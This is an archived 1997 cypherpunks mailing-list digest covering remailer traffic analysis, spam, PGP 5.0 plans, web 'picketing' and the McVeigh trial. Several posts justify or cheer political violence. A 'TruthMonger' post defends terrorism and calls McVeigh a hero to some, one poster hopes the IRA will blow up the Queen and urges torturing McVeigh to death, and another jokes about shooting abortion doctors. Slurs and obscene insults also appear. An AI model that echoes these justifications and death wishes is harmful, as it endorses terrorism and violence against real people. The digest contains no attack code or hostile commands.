Message-Id: <199706060336.XAA23074 at dhp.com>
X-Authentication-Warning: dhp.com: lucifer set sender to lucifer at dhp.com using -f
Subject: Dimitri McVeigh
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: cypherpunks at toad.com
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Comments: Please report misuse of this automated remailing service to .
Sender: owner-cypherpunks at toad.com
Precedence: bulk

Adam Back wrote:
> Hallam-Baker  writes:
> > I'll accept that the ranting faction do some good work but I've
> > not seen anything usefull out of either Bell or Vulis unless that
> > is you are an FBI agent looking to get a promotion from Freeh.
 
> Dimitri rights code sometimes.  He wrote a can-cel-bot.  Very
> constructive piece of work in an indirect way.  See: having nice
> freely available can-cel-bots enables technically clueless, would
> be-censors to censor more.  They censor more, and cause a nuisance for
> themselves sending out tons of can-cel messages.  This incentivizes
> more and more people to ignore can-cels (the trend in news
> administration these days I understand is to ignore can-cels entirely),
> which means that you can't have your USENET posts censored nearly as
> easily.

  Dimitri has long pushed the envelope of censorship and challenged
those who don't like it to do something about it.
  The reason that Hallam-Baker is able to post thinly veiled "Dimitri
is a cocksucker!" messages to the list is because Dimitri refused to
lay down and quit when he was forcibly censored for his "Gilmore is
a cocksucker!" messages. If the censorship coupe d'etat had succeded,
then Hallam-Baker's post would have been trashed into the flames list.

  Dimitri and others, such as the Freedom-Knights, made it possible to
"route around" the censorship of USENET posts to such an extent that
any attempt I might make to censor Hallam-Baker's demeaning of Dimitri
on USENET would have little effect. 
  The bottom line is that Hallam-Baker's demeaning of Dimitri without
facing censorship on this list and on USENET is partly the result of
the efforts of Dimitri, himself, to fight censorship.
  This is not surprising, since, after all, Dimitri is a cypherpunk.
(Despite all of his claims to the contrary.)

TruthMonger


----- End of forwarded message from owner-cypherpunks at algebra.com -----






From dlv at bwalk.dm.com  Thu Jun  5 22:16:31 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 6 Jun 1997 13:16:31 +0800
Subject: "Clinton has done a great deal for Intel"--more trolling
In-Reply-To: 
Message-ID: 



Tim May  writes:
> More trolling from Crispin. Why am I not surprised?

Let's all pledge not to waste any more time responding to KKKent KKKrispin.

[It worked with SternFUD :-) ]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Thu Jun  5 22:28:50 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 6 Jun 1997 13:28:50 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: 



Declan McCullagh  writes:

> Yesterday I forwarded questions about spam from a friend who was speaking
> before the FTC next week. Here are most of the replies I received, which
> I've attached below. Some may have appeared here already.
>
> From: glee harrah cady 
> From: Wei Dai 
> From: Stanton McCandlish 
> From: Robert Moskowitz 
> From: "Halpert, James - DC" 
> From: Azeem Azhar 
> From: Mark Grant 
> From: Charlie Stross 
> From: Bill Frantz 
> From: "Shabbir J. Safdar" 
> From: djones at insight.dcss.McMaster.CA (David Jones)
> From: wyang at ktel.osc.edu
> From: clinton at annoy.com (Clinton at Annoy)
> From: Eric Murray 
> From: Ray Everett-Church 
> From: Chris Poupart 
> From: "Marius  Loots" 
> From: Roger Bohn 
>

Declan didn't like what I wrote, so he deleted it.
Good journalism.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tcmay at got.net  Thu Jun  5 22:29:22 1997
From: tcmay at got.net (Tim May)
Date: Fri, 6 Jun 1997 13:29:22 +0800
Subject: Traffic Analysis
In-Reply-To: <199706060248.TAA19439@fat.doobie.com>
Message-ID: 



At 7:48 PM -0700 6/5/97, Huge Cajones Remailer wrote:

>  Has anyone concerned with remailer development spent any time
>actually doing remailer traffic analysis, similar to a cryptographer
>who does cryptanalysis to raise his level of competence?
>  It would be interesting to see the results of messages being sent
>between cypherpunks and encrypted with a "TA" key so that they could
>be separated and logged for traffic analysis. I would like to see
>what kind of results could be divined by those who know remailer
>operations intimately.

Doing "cryptanalysis" on remailer networks would be very nice.

The problem is that providing analysts with source material is vastly more
difficult than the equivalent problems with conventional cryptanalysis,
where ciphertext can be published, and even the algorithm is expected to be
known, with only the key being searched for.

Amateur cryptanalysts of remailers will generally have none of the source
material needed. I can't imagine a simple solution to this, except by doing
simulations of remailers and then doing cryptanalysis on the simulated
results. (Possibly useful, but lacking in persuasive value to others, I
suspect.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Thu Jun  5 22:30:58 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 6 Jun 1997 13:30:58 +0800
Subject: "Clinton has done a great deal for Intel"--more trolling
Message-ID: <199706060456.XAA02146@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In , on 06/06/97 
   at 12:07 AM, dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>Tim May  writes:
>> More trolling from Crispin. Why am I not surprised?

>Let's all pledge not to waste any more time responding to KKKent
>KKKrispin.

>[It worked with SternFUD :-) ]

I find Kents posts usefull even though I don't agree with them.

He serves a usefull purpors in many respects.

1: He provides a window into the thinkings of the opposition.

2: Replying to his posts help us to form answers to attacks on various
positions that members of the list support.

3: Gives us pause to reflect on our positions on various issues (who know
he may even be right every now and them ).

4: It's no fun preaching to the choir.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5eZkI9Co1n+aLhhAQFQ1gQAtRmQfZkDusGW5XSdep0uPlY9sw4aWAxm
ppecGnLtMCsG3wRuzYiRYWbmvHq93Tp9IihhzyEHua6HqrI5kql4cCJDFThwWefW
gwYaKliLM7YN5nT3MMoUcfryjZwDxEkcbP/Y6D4f/Y//4yLTCPz28w48t5gdU9q6
Qgq2+u/SguM=
=rCXR
-----END PGP SIGNATURE-----






From mnorton at cavern.uark.edu  Thu Jun  5 23:05:54 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Fri, 6 Jun 1997 14:05:54 +0800
Subject: Bell/Vulis Ranters (Was: Re: McVeigh)
In-Reply-To: <3.0.1.32.19970605173645.007431f0@popd.ix.netcom.com>
Message-ID: 



On Thu, 5 Jun 1997, Bill Stewart wrote:

> Bell's point that government would be much better behaved if the individuals
> in government could be held individually and personally responsible
> for their actions is certainly valid.  Whether shooting them is an 
> appropriate way to hold them responsible is another discussion (:-).

That was the Founding Fathers' point in instituting direct election
of House members every two years. Bell's point, if it was the 
same, entailed murder.  It's not another discusion of ends. It's
a discussion of means, and his means border on the insane.  That
alone doesn't make his idea criminal in a society with a First
Amendment, but the fact that he had an end in common with other
political thinkers doesn't make his means legitimate.

In other words, Bell's point, as you describe it, has nothing
original to say about ends. It's all about means, and as such
it's pretty well whacko. 

MacN






From ravage at EINSTEIN.ssz.com  Thu Jun  5 23:08:33 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Fri, 6 Jun 1997 14:08:33 +0800
Subject: Webpage picketing (fwd)
Message-ID: <199706060440.XAA08064@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
> Date: Wed, 04 Jun 97 23:46:16 -0500
> Subject: Re: Webpage picketing (fwd)

> Well this is why I had wanted to set the analogies aside. There are some
> real diferences between cyberspace and your metaspace analogy of the
> picket line. In cyberspace there is no sidewalk for your picket to stand
> and for me to pay as little or as much attention as I wish.

But there is, the publicly funded routers on the publicly funded network
which are handling public traffic sitting in nice little queues just waiting
to be processed.

Perhaps a slightly more complicated setup might make it clearer. Consider
that we have some length of fiber laying from Chicago to Salt Lake City.
That fiber is fully owned/funded by the federal government. The two routers
on the end of the cable are also fully owned. Now from those routers extends
another network cable that goes to fully privately owned networks. Now in
Salt Lake City there is a young 14 year old girl that just took an at home
pregnancy test. It turned up positive and she has pretty much lost it. Now
in Chicago there is a webpage for an abortion clinic. Her sister lives in
Chicago. The girl gets on her trusty little bit-pusher and proceeds to
contact that page from a lookup done in Yahoo. Now at this point her parents
still think that what you don't know can't hurt you and her sister has a
vistor for a few days that summer.

Now ask yourself, does a anti-abortion group have any claim to providing
that young girl alternate information that is not pro-abortion?

Perhaps this will better exemplify the demarcation I am making. I admit it
is a thin line, but that is all it takes.

> A more closer analogy between cyberspace and metaspace is that your
> picketors are not standing off to the side but are blocking the door and
> the only way I can enter is to read their signs first. This is the point
> where your picketors have oversteped the bounds of their 1st Amendment
> rights. While the have the right to picket infront of the store they
> cannot interfere with the comming and goings of the customers. The has
> been well tested in the courts. The problem with extending the picket
> analogy to cyberspace is there are no sidewalks. It's all or nothing.
> Either you are blocking the door or you are not

Not at all, blocking implies a stoppage NOT a delay. I suggest you sit
outside an abortion clinic when the picketers are there. I assure you they
are up close and personal. The old ruling of 15ft. seperation was over-turned
just this year I believe. It is true that they may not block you but they are
allowed to delay your journey slightly with civil coverage. I further belive
the court would look at the nature of the Internet and the structure of the
web and determine that a single page at the very beginning or perhaps a
small splash screen first would not be an unwarranted imposition.

I want to make it clear, I am a strict Constitutionalist. I don't see the
government having the delegated authority to spend any public money on the
Internet, human cloning, BATF, DEA, etc. I believe strongly that such
enterprises are best left fully in the state and individuals care. I most
definitely believe that were the 9th and 10th Amendment interpreted and used
actively we would see a massive decline in government intervention and as a
consequence lower taxes.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage at ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|






From whgiii at amaranth.com  Thu Jun  5 23:11:13 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 6 Jun 1997 14:11:13 +0800
Subject: Webpage picketing (fwd)
Message-ID: <199706060554.AAA03052@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In <199706060440.XAA08064 at einstein.ssz.com>, on 06/05/97
   at 11:40 PM, Jim Choate  said:

>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Wed, 04 Jun 97 23:46:16 -0500
>> Subject: Re: Webpage picketing (fwd)

>> Well this is why I had wanted to set the analogies aside. There are some
>> real diferences between cyberspace and your metaspace analogy of the
>> picket line. In cyberspace there is no sidewalk for your picket to stand
>> and for me to pay as little or as much attention as I wish.

>But there is, the publicly funded routers on the publicly funded network
>which are handling public traffic sitting in nice little queues just
>waiting to be processed.

>Perhaps a slightly more complicated setup might make it clearer. Consider
>that we have some length of fiber laying from Chicago to Salt Lake City.
>That fiber is fully owned/funded by the federal government. The two
>routers on the end of the cable are also fully owned. Now from those
>routers extends another network cable that goes to fully privately owned
>networks. Now in Salt Lake City there is a young 14 year old girl that
>just took an at home pregnancy test. It turned up positive and she has
>pretty much lost it. Now in Chicago there is a webpage for an abortion
>clinic. Her sister lives in Chicago. The girl gets on her trusty little
>bit-pusher and proceeds to contact that page from a lookup done in Yahoo.
>Now at this point her parents still think that what you don't know can't
>hurt you and her sister has a vistor for a few days that summer.

>Now ask yourself, does a anti-abortion group have any claim to providing
>that young girl alternate information that is not pro-abortion?

Well yes & no. :)

Yes they have the same free speech right as anyone else. Do they have the
right to force anyone to listen to their speech or force them to
distribute it no. They can put up there own web page and if yahoo choses
to they can provide links to it (thouhg yahoo is not required to do so).
Anyone intrested in listening to what they have to say is free to go to
their web site just as anyone is free to go to the abortion site and read
that info. The anti-abortion group should not be required to present the
views of their opposition and the same for the abortion group.

>Perhaps this will better exemplify the demarcation I am making. I admit
>it is a thin line, but that is all it takes.

>> A more closer analogy between cyberspace and metaspace is that your
>> picketors are not standing off to the side but are blocking the door and
>> the only way I can enter is to read their signs first. This is the point
>> where your picketors have oversteped the bounds of their 1st Amendment
>> rights. While the have the right to picket infront of the store they
>> cannot interfere with the comming and goings of the customers. The has
>> been well tested in the courts. The problem with extending the picket
>> analogy to cyberspace is there are no sidewalks. It's all or nothing.
>> Either you are blocking the door or you are not

>Not at all, blocking implies a stoppage NOT a delay. I suggest you sit
>outside an abortion clinic when the picketers are there. I assure you
>they are up close and personal. The old ruling of 15ft. seperation was
>over-turned just this year I believe. It is true that they may not block
>you but they are allowed to delay your journey slightly with civil
>coverage. I further belive the court would look at the nature of the
>Internet and the structure of the web and determine that a single page at
>the very beginning or perhaps a small splash screen first would not be an
>unwarranted imposition.

Well down here in Pensacola where we like to shoot abortion doctors I
beleive that there is a 50' seperation (other side of the street). I don't
know how the courts would rule but from past rulling against picketors
interfering with the customers of a business I would tend to dissagree. To
be honest I am not up on which way the wind is blowing in the courts on
this issue.

I do feel that the delay is unconstutional. It is where the fine line
between your and my 1st amendment rights cross. The size and amount of
delay is irrelevant from a constitutional standpoint (can't be a little
bit pregnet can't be a little bit unconstitional).

This is where are disagreement over the picket analogy rest. Inoreder for
the picket analogy to be extended to cyberspace it requires me to download
someone's elses speech before I can download the speech that I want to
hear. In metaspace there is a sidewalk for the picketers to stand and I
can pass them by without slowing down never hearing what they have to say.
Here localy I have them well trained, when they see my vette they know not
to block the driveway as I will not slow down for them (actually the sound
of the 427 is enought to get them moving off to the side).

>I want to make it clear, I am a strict Constitutionalist. I don't see the
>government having the delegated authority to spend any public money on
>the Internet, human cloning, BATF, DEA, etc. I believe strongly that such
>enterprises are best left fully in the state and individuals care. I most
>definitely believe that were the 9th and 10th Amendment interpreted and
>used actively we would see a massive decline in government intervention
>and as a consequence lower taxes.

Never questioned it. :)

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html -
---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5elpY9Co1n+aLhhAQHj2wQAxcypN4AERgmHy1X5aDZI9/vMxKfXiQrG
REgPV2inTnatWf05u6QWTyG8FjQecIQCSFyNa3OCjDU17u1vqjN91lvo+K3jtotV
f88jkE4OSNzEZVKCZ0FjpWVECvFk1cpKgqQKtH4UFUmf04NDxgQ8nNFXu0cESA16
YchbsjWz7js=
=Krwo
-----END PGP SIGNATURE-----







From jal at acm.org  Thu Jun  5 23:35:48 1997
From: jal at acm.org (Jamie Lawrence)
Date: Fri, 6 Jun 1997 14:35:48 +0800
Subject: McVeigh? Nimrods.....
In-Reply-To: <19970604173133.51738@bywater.songbird.com>
Message-ID: 



Is that you, Elsworth Toohey? After all these years...?

> Yes, some pathetic strange little boys swaggering around in never-never
> land.  Lonely individuals with shriveled hearts, stunted morals, and
> feverish imaginations, who brag contemptuously of their superiority
> over "sheeple", and boast of their heroic roles in the coming
> revolution.

> And thank you, Lucky, for enlightening me -- it isn't the OKC bomber
> who is the criminal, it's the people who put their children in the
> daycare center!  There's only one punishment suitable for such
> "criminally stupid" behavior!  Lock and Load!








From davidlu at sco.COM  Fri Jun  6 00:46:43 1997
From: davidlu at sco.COM (David Lucas)
Date: Fri, 6 Jun 1997 15:46:43 +0800
Subject: TV Commercial
In-Reply-To: 
Message-ID: <3.0.2.32.19970606083424.007b6100@middx.x.co.uk>



At 14:09 05/06/97 -0700, you wrote:
>Today on TV, I saw an advertisement.
>
>Image:	Two ships exchanging searchlight-type signals.
>
>Voiceover:
>	It's common sense, really.
>	You should be able to communicate with anyone
>	without worring about the security of your communications.
>
>	Sprint PCS. Secure digital communications.

It's a nice thought, but the image is all wrong. Two ships communicating
via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
isn't what I would call very secure communication.

Still, what do the ad-men know?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
               David Lucas - Test Engineer @ SCO Cambridge.
                          E-mail: davidlu at sco.com

 Opinions expressed within this message are my own and do not necessarily
            represent those of my employer * I am not a lawyer
--------------------------------------------------------------------------
        The light at the end of the tunnel is an oncoming train...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From nobody at huge.cajones.com  Fri Jun  6 03:31:54 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 6 Jun 1997 18:31:54 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
Message-ID: <199706061010.DAA32035@fat.doobie.com>



Dr.Dimitri Vulis KOTM wrote:
> 
> Consider, for example, a Black child in the United States who dies of
> a trivial curable disease because of the lack of health care.

  The attempts of Hallam-Baker II Esquire Jr. Knight of the Realm,
etc., to separate the world into supporters of "good" child murderers
and supporters of "bad" child murderers, reflects the attitudes that
lead to those who feel disenfranchised by the government and society
to decide that they have little to lose by striking out at the system
in one way or another.
  Dimitri raises a deeply valid issue here which goes to the heart of
defining what separates a "bean counter" from a "child-murdering 
monster."

  We can't save everyone dying of an incurable disease and provide 
health care for everyone, except at great cost. We can't put in place
airline safety measures or monitor the activities of law enforcement 
agencies for free.
  The government officially puts the price of a human life at 2.5
million
dollars. When a safety problem is found with an aircraft, for example,
that is the figure used to calculate whether the problem will be fixed
or allowed to take X number of human lives. The same concept applies to
government and corporate decisions regarding worker safety (or death),
public safety (or death), health care (or death), and a multitude of
other issues.
  The same thing applies to warfare and self-defence, as well. Society,
government, corporations and individuals all "count the cost" of the
various options available to settle a conflict. A person who might kill
another to prevent them from stealing their family's life savings would
probably not kill another to prevent them from stealing their lunch box.
And a person who would kill another to prevent them from stealing their
family's life savings might not kill another to prevent them from 
stealing *your* life savings.

> Joe Stalin himself took part in several spectacular terrorist acts in
> his youth, which resulted in deaths of dozens of "innocent bystanders".

  Who is the murdering monster--Stalin, Reagan, or McVeigh? It depends
on
whether you ask Newt Gingrich, Saddam Hussein or Joe Oklahoma.
  Are the government and corporate bean-counters who decide not to fix
known safety problems murdering monsters? What if they placed the value
of a human life at *ten* dollars? A *million* dollars?
  Americans aren't outraged over the loss of life, they are merely self-
servingly objecting to the fact that they are being personally presented
with the bill that is coming due for their government's actions. Even
some of those objecting are merely arguing over the "cost" of the bill.
(i.e. - death count, age of victims)

  If McVeigh had whacked out 168 Iranians to free one American hostage,
he would be an American hero. If he had whacked out 168 Americans to
free the U.S. from a Stalinist takeover, he would be a hero.
  Well, he whacked out 168 Americans to free our minds from the belief
that we will bear no personal cost for the aggression and oppression
that the government perpetrates in our name, and to some he is a hero.


  Hallam-Baker would have us believe that anyone who does not roundly
condemn McVeigh is in favor of the death of children. Like Truman,
Churchill and Roosevelt were in favor of the death of children?
  Unless Hallam-Baker wants to propose that everyone who has ever
supported conflict in support of a cause is in favor of the death of
children, then he is just a horse's ass who uses smear tactics where
logic fails.
 
> What I'm driving at is: someone said earlier that Cypherpunks don't make
> bombs, Cypherpunks write code. Well, my response is, if you write code
> for anonymous electronic commerce that seriously challenges the gubmint,
> in a free market environment, then the gubmint will first try to regulate
> it out of existence, and if it fails, it will use whatever force is
> necessary, including jailing and shooting people, to fight for it survival.

  "I didn't put them in the ovens, I just wrote the code that releases
the gas. What kind of monster would bomb a Weapons Laboratory that has
a day-care center in it?"
  The question mainstream America is asking, is:
"What kind of monster would break *my* eggs to make an omlette?"

  What kind of monster would write code that allows someone to send 
email containing child pornography anonymously? What kind of monster 
would write code that can be used to hide drug transactions? What kind
of monster  would write code that can be used by terrorists who break 
*my* omlettes to avoid discovery?
  Hallam-Baker and his ilk want the government to serve them their 
omlette at the dinner table so that they can deny their knowledge of and
complicity in other people's eggs being broken in the kitchen. Then they
can climb on their high horse and complain loudly when the victims of
the government's fraud and abuse decide to break a few eggs themself.

  I'm not in favor of the death of children in Waco, Oklahoma City,
Dublin, Jerusalem, Dresden, or Hiroshima. For Hallam-Baker to suggest
that I and others on the list are is the height of slanderous hypocrisy.
  It is a reality of life that there is a cost associated with freedom
and with life itself. It is up to each of us to make our own decision
as to whether we will take part in determining who pays, and how much,
or whether we delegate those decisions to others and try to distance
ourself from them.

  We can applaud the L.A. police when they tell "white" lies on the 
witness stand about "little" things like not considering the husband of
a murder victim a suspect when they climb over his fence, but then we
will end up complaining when someone we think is a murderer remains
unconvicted because the jury can't determine where the lying stops and
the truth begins.
  We can justify an armed government assault on "cultists" who are in
possession of fewer guns than many mainstream Christians, but then we
will end up complaining when someone else who is "outside" the
mainstream decides that what is good for the gander is good for the
goose.

  The issue of Waco versus OKC is not one of "good" guys and "bad" guys.
It is a difference of opinion over the cost of freedom and the value of
human life. 168 people at 2.5 million/life comes to about one and three-
quarter billion dollars that we paid for the tragedy at Waco.
  Americans seem to be more than willing for citizens of other countries
to bear the cost of freedom when we decide to invade and attack them in
order to protect democracy, etc. Perhaps McVeigh should have bombed the
Iranians to protest Waco--then he might be an American hero...maybe even
the next President--a white Colin Powell.
  If Americans want to cry out in dismay over the "wrong" people being
held accountable for the tragedy in Waco, then they might want to think
about demanding that the "right" people be held accountable in the face
of future government atrocities.
  Perhaps the real anger over the OKC bombing is that the American
people
thought that we had managed to skip out on the bill for our government's
actions at Waco, only to be tracked down and made to pay at home.

TruthMonger






From ddt at pgp.com  Fri Jun  6 19:57:09 1997
From: ddt at pgp.com (Dave Del Torto)
Date: Fri, 6 Jun 1997 19:57:09 -0700 (PDT)
Subject: [ANNOUNCE] Phil Zimmermann on recent FUD and PGP 5.0 plans
Message-ID: 


A message from our Fearless Leader...

   dave

................................. cut here .................................

-----BEGIN PGP SIGNED MESSAGE-----

Last month, Pretty Good Privacy Inc went through a  reorganization in
its top management.  We were spending too much money, too fast.  Tom
Steding was replaced by Phil Dunkelberger as the president of PGP, and
I handed over the chairman title to Jonathan Seybold, who had been, with
me, the original cofounder of the company.  Jonathan is devoting his time
to the business side of things, while I am focussing my attention on my
role as chief technology officer.

I have seen some speculation in some usenet newsgroups that these changes
were in some way connected with the fact that PGP was recently sued by RSA
Data Security over some dispute regarding royalties for use of the RSA
patent, which PGP holds a license to.  Let me set the record straight
on this.  There are sound business reasons why this shuffling of top
management occurred at PGP, and these reasons are known to all of our
employees.  The RSA lawsuit against PGP is absolutely not one of the
reasons, not even remotely.  I don't think shuffling top management is
a likely reaction for any company to take in response to a lawsuit, even
if the lawsuit had merit, which this one does not.  We fully expect the
RSA matter to be resolved in arbitration proceedings, in our favor.

I know that it is common practice for some companies to issue statements
to "spin" the story about certain events, sometimes at the expense of
truth.  This makes a lot of people understandably skeptical about such
explanations.  I do have responsibilities toward my company, but no
one could get me to deny a truth about the reasons for the restructuring.
The truth is, the restructuring had absolutely nothing at all to do with
the RSA lawsuit.

I would now like to announce that we will be releasing PGP 5.0 in mid-June.
It's in beta release right now on our web page (www.pgp.com).  In keeping
with my own dedication to personal freedom and privacy, we will be releasing
a freeware version for noncommercial use through MIT's web site
(web.mit.edu/pgp), just like in the old days before the company was formed.
And we do plan to publish the full PGP source code for Mac, Windows 95,
and Linux.

There are a lot of new exciting features, including automatic key lookups
from remote key servers on the Internet, which will likely result in the
rapid growth of a ready-made nationwide PGP public-key infrastructure,
on an unprecedented scale.  We are also encouraging the migration to new
public key algorithms in addition to RSA, namely the NIST Digital
Signature Standard (DSS), as well as Diffie-Hellman (Elgamal) keys.
We expect most of the new users to be using these new algorithms instead
of RSA, in part because they offer new features, better performance, and
better security for the same key sizes.  I hope that you will all join me
in this opportunity to move to these new algorithms, allowing everyone to
finally enjoy the use of public key cryptography without the encumberances
of patents.

Philip Zimmermann
Chief Technology Officer, PGP Inc.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM5WoZWV5hLjHqWbdAQGaxgP/UM+i7Pz38x68zdWVOsTrQVepa+0FUndC
NkvTi5iMTC9up7HJgleXMWuAB00qVB8XlC1/6oSx4Ot+gTecu0wXgNG/l8LXFBAo
YYxlPhR497fvKfnWXATkJ3jQJAQbACHXzh7Wycc1MGq+46o6+CkECrUvUs8//KQT
toJMdfVJEVA=
=ywNo
-----END PGP SIGNATURE-----








From jya at pipeline.com  Fri Jun  6 05:47:52 1997
From: jya at pipeline.com (John Young)
Date: Fri, 6 Jun 1997 20:47:52 +0800
Subject: NYT on German Net Police
Message-ID: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>



The New York Times reports on page one the German
prosecution of a woman who linked her home page to 
Radikal. It reviews XS4ALL's role, describes Radikal
and its mirror sites and links to them all:

   http://www.nytimes.com/library/cyber/week/060697germany.html

It says that Kohl is determined to find a way to police the
Net in spite of technical work-a-rounds.

Recall a previous report that Kohl and other heads of state are 
to meet in Denver on June 20-22 to plan a global attack
on "cyber-terrorism," including the spread of encryption:

   http://jya.com/denver.htm







From paul at fatmans.demon.co.uk  Fri Jun  6 06:04:13 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 6 Jun 1997 21:04:13 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 





> > "Learning to live together" is absurd when the other side has stolen
> >  your land.
>    ^^^^
> 
> 'your' land ? Oh, you mean what Columbus did ?
> Otoh, you're right. The best way to solve problems is to kill the
> problem-maker(s at both sides). But be sure to kill everyone, including
> babies and such. And don't forget to kill everyone you suspect might one
> day think (s)he is a far-far-descendant of the killed ones... Let's blow
> up the earth, while we're on it ?

How long have you been on this list? Clearly not long enough.


> not! The major reason people can't live together is furnished by
> politicians who feel they should make it to history books ;-(

Tims post made a good point, people soon forget the causes of conflict 
and only see the effects, today, hardly anyone in the UK sees the IRA as 
an organisation devoted to liberating NI, merely a bunch of thugs. Of 
course they have brought this on themselves by indiscriminately blowing 
things up. Talking of which the Queen is visiting Hastings (a town about 
5 miles from me) today, I hope the IRA blow her up...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Fri Jun  6 06:10:58 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 6 Jun 1997 21:10:58 +0800
Subject: McVeigh
In-Reply-To: 
Message-ID: 




> > Yes, he is guilty of murder and I would favour torturing him to death 
> > slowly, this is not emotional reactionism, merely a desire for justice 
> > and fair punishment.
> 
> You do not know for a fact if he is guilty of murder.  You only know that
> he was judged guilty.  Whatever the truth is, you and I, and everyone else
> discussing this, cannot know.  McVeigh himself knows if he did it.
> Witnesses (if any) would also know.  This is all speculation.

I thought in my post I qualified that statement with a "If he did it" 
line, whatever, it doesn`t really matter, the government will always find 
someone to blame. From now on, in this thread, asssume McVeigh == 
"McVeigh, if he did it"

> Personally, I didn't.  I don't call for slow torture because to me, it
> isn't justice or injustice.  I was not affected by his actions.  If he did
> set off the bomb, life in death, or execution is a valid punishment.  I do
> question your reasoning for calling for torture though.  How is that fair
> punishment and justice?

I don`t really judge it in terms of punishment or as justice or as "fair 
trade". McVeigh took an extreme criminal act of agression against 
innocent people, I believe that implicit in that act (once proven) is the 
removal of his rights, that includes the "right not to be tortured" .
I was not directly affected by his actions, and I`m not at all affected 
by images of death and destruction anyway, I don`t hate McVeigh, I don`t 
have any personal grudge against him or need to see him punished, I 
merely recognise that he has surrendered his rights, any punishment is 
acceptable, whether it is fitting or not is a different thread.

The only reason I have any reservations whatsoever about the death 
penalty in this particular case is because, although I personally believe 
McVeigh is guilty, there was enough reasonable doubt to get a not-guilty 
verdict.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From dlv at bwalk.dm.com  Fri Jun  6 06:13:45 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 6 Jun 1997 21:13:45 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: <11LV8D23w165w@bwalk.dm.com>



Jim Burnes  writes:
> > One of the many interesting contributions Joe Stalin made to the Marxist
> > theory was the observation that the class struggle intensifies as the
> > old mode of production becomes obsolete; and that there's really no differe
> > between "terrorist acts" and government-sponsored violence and economic
> > deprivation.  You might view the second statement as the generalization of
> > Klauzewitz's (or Bismarck's?) maxim that war is the continuation of foreign
> > policy by other means.
>
> Well couldn't class struggle simply mean the difference between wielding
> large quantities of power and not.

Stalin claimed (and I agree) that when the ruling classes are facing loss of
power, even due to purely market forces, they will resort to violence to try
to keep their poer: first government regulation/taxation to suppress the new
technologies/modes of production, and when it fails, jailing and killing those
who challenge them.

